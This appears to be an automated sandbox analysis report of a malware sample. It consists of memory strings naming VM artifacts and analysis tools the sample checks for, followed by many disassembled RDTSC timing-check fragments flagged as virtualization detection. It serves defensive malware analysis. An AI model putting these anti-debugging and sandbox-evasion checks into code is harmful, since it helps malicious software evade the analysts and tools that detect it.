Source: 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC26DA second address: AC271E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1B911A1E16h 0x0000000a popad 0x0000000b pushad 0x0000000c jng 00007F1B911A1E16h 0x00000012 jmp 00007F1B911A1E23h 0x00000017 jmp 00007F1B911A1E28h 0x0000001c jnp 00007F1B911A1E16h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC28A1 second address: AC28AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC28AA second address: AC28B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC28B6 second address: AC28BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2A42 second address: AC2A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2A48 second address: AC2A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B90BB1919h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1B90BB1906h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2A6F second address: AC2A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2BA6 second address: AC2BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2BAA second address: AC2BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F1B911A1E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2BB9 second address: AC2BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2BC7 second address: AC2BD3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2BD3 second address: AC2BDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6C21 second address: AC6C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F1B911A1E1Ch 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edx 0x00000016 jmp 00007F1B911A1E1Eh 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6D19 second address: AC6D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6D1E second address: AC6D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6D24 second address: AC6DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, dword ptr [ebp+122D2E57h] 0x00000010 cmc 0x00000011 push 00000000h 0x00000013 jmp 00007F1B90BB190Fh 0x00000018 push CFAD52BFh 0x0000001d jmp 00007F1B90BB1910h 0x00000022 add dword ptr [esp], 3052ADC1h 0x00000029 push 00000003h 0x0000002b mov esi, dword ptr [ebp+122D2AEEh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F1B90BB1908h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d jns 00007F1B90BB1909h 0x00000053 push 00000003h 0x00000055 mov cx, 3B95h 0x00000059 push 7D8E5E28h 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F1B90BB190Ch 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6DAC second address: AC6DE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a add dword ptr [esp], 4271A1D8h 0x00000011 and edi, dword ptr [ebp+122D2B22h] 0x00000017 lea ebx, dword ptr [ebp+1244BA9Fh] 0x0000001d sub si, 2984h 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6DE4 second address: AC6DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6DEE second address: AC6E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jo 00007F1B911A1E1Eh 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6E3F second address: AC6E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 stc 0x00000009 mov ecx, dword ptr [ebp+122D2D5Fh] 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D29E3h], ecx 0x00000017 push 98C6B3EAh 0x0000001c pushad 0x0000001d push edi 0x0000001e jbe 00007F1B90BB1906h 0x00000024 pop edi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1B90BB1916h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6E7C second address: AC6EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 67394C96h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F1B911A1E18h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D2799h], ebx 0x00000031 push 00000003h 0x00000033 call 00007F1B911A1E1Bh 0x00000038 mov dx, ax 0x0000003b pop esi 0x0000003c push 00000000h 0x0000003e jmp 00007F1B911A1E1Fh 0x00000043 push 00000003h 0x00000045 mov edx, 49A1D951h 0x0000004a call 00007F1B911A1E19h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6EF5 second address: AC6F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F1B90BB1906h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6F06 second address: AC6F19 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007F1B911A1E16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6F19 second address: AC6F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1B90BB1908h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD848A second address: AD848F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0AD5 second address: AB0AF9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1B90BB1914h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0AF9 second address: AB0AFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0AFD second address: AB0B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jmp 00007F1B90BB1913h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0B1D second address: AB0B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E20h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0B33 second address: AB0B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4C10 second address: AE4C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F1B911A1E18h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4C1D second address: AE4C31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1B90BB190Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4C31 second address: AE4C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jmp 00007F1B911A1E1Eh 0x0000000f pop esi 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 jns 00007F1B911A1E16h 0x0000001b popad 0x0000001c push eax 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 js 00007F1B911A1E16h 0x00000028 jmp 00007F1B911A1E29h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4DE6 second address: AE4DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4DEA second address: AE4DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4DEE second address: AE4E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB1917h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E0B second address: AE4E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E11 second address: AE4E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E15 second address: AE4E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F1B911A1E40h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E27 second address: AE4E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5281 second address: AE5287 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5666 second address: AE5670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1B90BB1906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE57E3 second address: AE57E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE57E9 second address: AE5806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F1B90BB190Eh 0x0000000c pushad 0x0000000d js 00007F1B90BB1906h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5948 second address: AE5950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5950 second address: AE5958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5958 second address: AE5962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5962 second address: AE5968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5968 second address: AE596E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBB73 second address: ADBB97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Fh 0x00000007 pushad 0x00000008 jmp 00007F1B90BB190Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5BF3 second address: AB5BF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5BF9 second address: AB5BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5BFF second address: AB5C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E1Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C11 second address: AB5C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C15 second address: AB5C31 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1B911A1E16h 0x00000008 jnp 00007F1B911A1E16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F1B911A1E16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C31 second address: AB5C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1914h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6004 second address: AE6010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6010 second address: AE6018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6018 second address: AE6022 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1B911A1E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE62DB second address: AE62EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB190Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE62EE second address: AE631C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 jmp 00007F1B911A1E1Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F1B911A1E18h 0x00000014 push edx 0x00000015 pop edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE64AA second address: AE64AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6762 second address: AE6767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8C06 second address: AE8C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA80A1 second address: AA80A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDA83 second address: AEDA88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDCB6 second address: AEDCBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDCBC second address: AEDCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF190D second address: AF191E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE257 second address: ABE25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE25B second address: ABE272 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF15D2 second address: AF15DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF15DD second address: AF15E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF15E3 second address: AF15EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF15EF second address: AF15F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF15F5 second address: AF1613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB190Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1613 second address: AF1617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4EE3 second address: AF4F21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F1B90BB190Ah 0x0000000d push ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 ja 00007F1B90BB191Dh 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f js 00007F1B90BB1908h 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4F21 second address: AF4F35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF508D second address: AF5091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF52FC second address: AF5300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF55B3 second address: AF55B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF59F4 second address: AF59F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF59F8 second address: AF5A0E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B90BB190Ah 0x00000011 rdtsc
